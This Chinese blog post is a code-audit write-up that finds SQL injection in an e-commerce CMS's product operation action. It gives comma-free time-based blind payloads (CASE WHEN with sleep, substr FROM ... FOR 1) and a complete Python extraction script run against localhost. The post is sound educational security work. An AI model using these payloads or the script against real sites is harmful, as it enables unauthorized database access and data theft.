從代碼審計到繞逗號盲注python腳本編寫
前言
首先恭喜我的好朋友jobs拿下上周的第三,這次希望這篇文章能幫助到大家,這次是之前審計的一個電商管理的cms,大部分功能都需要登錄,本人才疏學淺,在登錄功能和驗證功能沒有看出缺陷。下面直接進行審計。
1.路由的確定
由于我代碼水平并不是很高,而且現在大部分cms采用mvc形式編寫直接看路由文件比較浪費時間。但是代碼水平厲害的可以看看路由,有可能有文件包含或者反序列化之類的意想不到的收獲。
但是這并不是說其他文件看不懂也不看了,這樣就會錯失很多學習和挖洞的機會,就像上次那個漫畫的cms審計(jobs上周那篇文章),我們兩個就是一籌莫展的時候,我們一個一個文件一行一行看,最終找到了那個越權。所以說代碼審計還是得細心,有耐心,這篇文章也幾次警示我代碼審計的要點就是細心!
言歸正傳,那我不看路由文件怎么確定的路由呢,就是一個字:猜。隨便點個功能,然后看著文件夾里的php文件名去猜路由。比如

module文件夾下的AdminLoin文件夾,對應的路由就是index.php?module=AdminLogin,index.php就是入口文件,無需多言。雖然他的文件夾名字是model但是我看了里面的功能和mvc中的控制器功能有點像,很多實現功能的重要函數都寫在里面。用這種方法路由就可以基本確定了。路由類似于這種:

2.從興奮到失落
在文件open\app\LKT\webapp\modules\product\actions\operationAction.class.php中

第十六行獲取id,第十九行變成數組,之后遍歷數組的時候21行直接進入SQL語句,22行執行,這里沒有任何過濾。當時特別的興奮,然后直接上去單引號報錯,sqlmap直接跑,單引號確實報錯了,但是sqlmap啥也沒跑出來,然后-v 3看sqlmap的payload

手工調試
payload:' and substr(database(),1,1)='l'%23

發現還是不行,最后手工構造中有一條沒有報錯。

payloa:' and database()='lk'%23
但是這是因為我知道我本地的數據庫名,如果是實戰的話這就很雞肋了。不想就這樣結束了。
然后打開phpstorm調試嘗試正常的payload:' and substr(database(),1,1)='l'%23

可以看到我們的payload被分成數組了,現在才看到其實注釋都寫了用逗號分割數組,還傻乎乎的用正常語句試了半天。
3.柳暗花明
這樣的話逗號就不能出現在payload里。突然我想起來之前繞waf的時候看過一篇文章是可以繞過逗號的,之前從來沒碰到過需要繞逗號,所以還得去查,然后發現case when 條件1 then 執行語句 else end 1這種語句可以代替if語句,其實這個洞不用if也可以,而且更簡單,但是為了我們的python腳本適用性更廣,所以采用時間盲注的方式,所以要替代掉if語句。那么if解決了,還有substr怎么辦呢,根據網上師傅們的文章發現from n for 1可以替代substr。
舉個例子
if(ascii(substr(database(),1,1))>0,sleep(3),1)
如果需要繞過逗號就要轉化為:
case when ascii(substr(database() from 1 for 1))>0 then sleep(3) else 1 end。
這樣的話就簡單了
把新的payload:' and case when ascii(substr(database() from 1 for 1))>0 then sleep(3) else 1 end%23
執行之后發現成功延遲三秒,這時候又興奮了起來,然后就是python腳本的編寫,因為盲注用手來確實有點累人,所以寫個腳本就簡單了。
4.又陷僵局
這時候以為成功就在眼前,心里都準備慶祝了,然后發現啥也沒跑出來。

最后一看是cookie沒加到heads里面,所以沒又限權訪問這個url自然沒有用。
把cookie加上之后就跑處數據了。

腳本源碼,里面的需要修改的自己改一下就好了
`#!/usr/bin/env python
coding: cp936
import requestsimport time
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36','Cookie':'admin_mojavi=9lv2rh3d7lcqc14r1o1q3orjnq'}chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'database = ''global lengthfor l in range(1,20):Url = "http://127.0.0.1/open/app/LKT/index.php?module=product&action=operation&id=1' and case when (length(database()))={0} then sleep(3) else 1 end%23"UrlFormat = Url.format(l)start_time0 = time.time()a=requests.get(UrlFormat,headers=headers)print(UrlFormat)if time.time() - start_time0 > 2:print('database length is ' + str(l))global lengthlength = str(l)breakelse:passfor i in range(1,int(length)+1):for char in chars:charAscii = ord(char)url = "http://127.0.0.1/open/app/LKT/index.php?module=product&action=operation&id=1' and case when ascii(substr(database() from {0} for 1))={1} then sleep(3) else 1 end%23"urlformat = url.format(i,charAscii)start_time = time.time()requests.get(urlformat,headers=headers)print(urlformat)if time.time() - start_time > 2:database+=charprint('database: ',database)breakelse:passprint('database is ' + database)`
總結
希望這篇文章能給喜歡網安的人一些小小的幫助,我也是看別人文章一步一步能挖到洞,俗話說喝水不忘挖井人,還是得分享出來讓大家一起交流,過幾天要參加人生中第一次ctf了,創作不易,大家點個贊支持一下,給我加加油哈哈哈哈。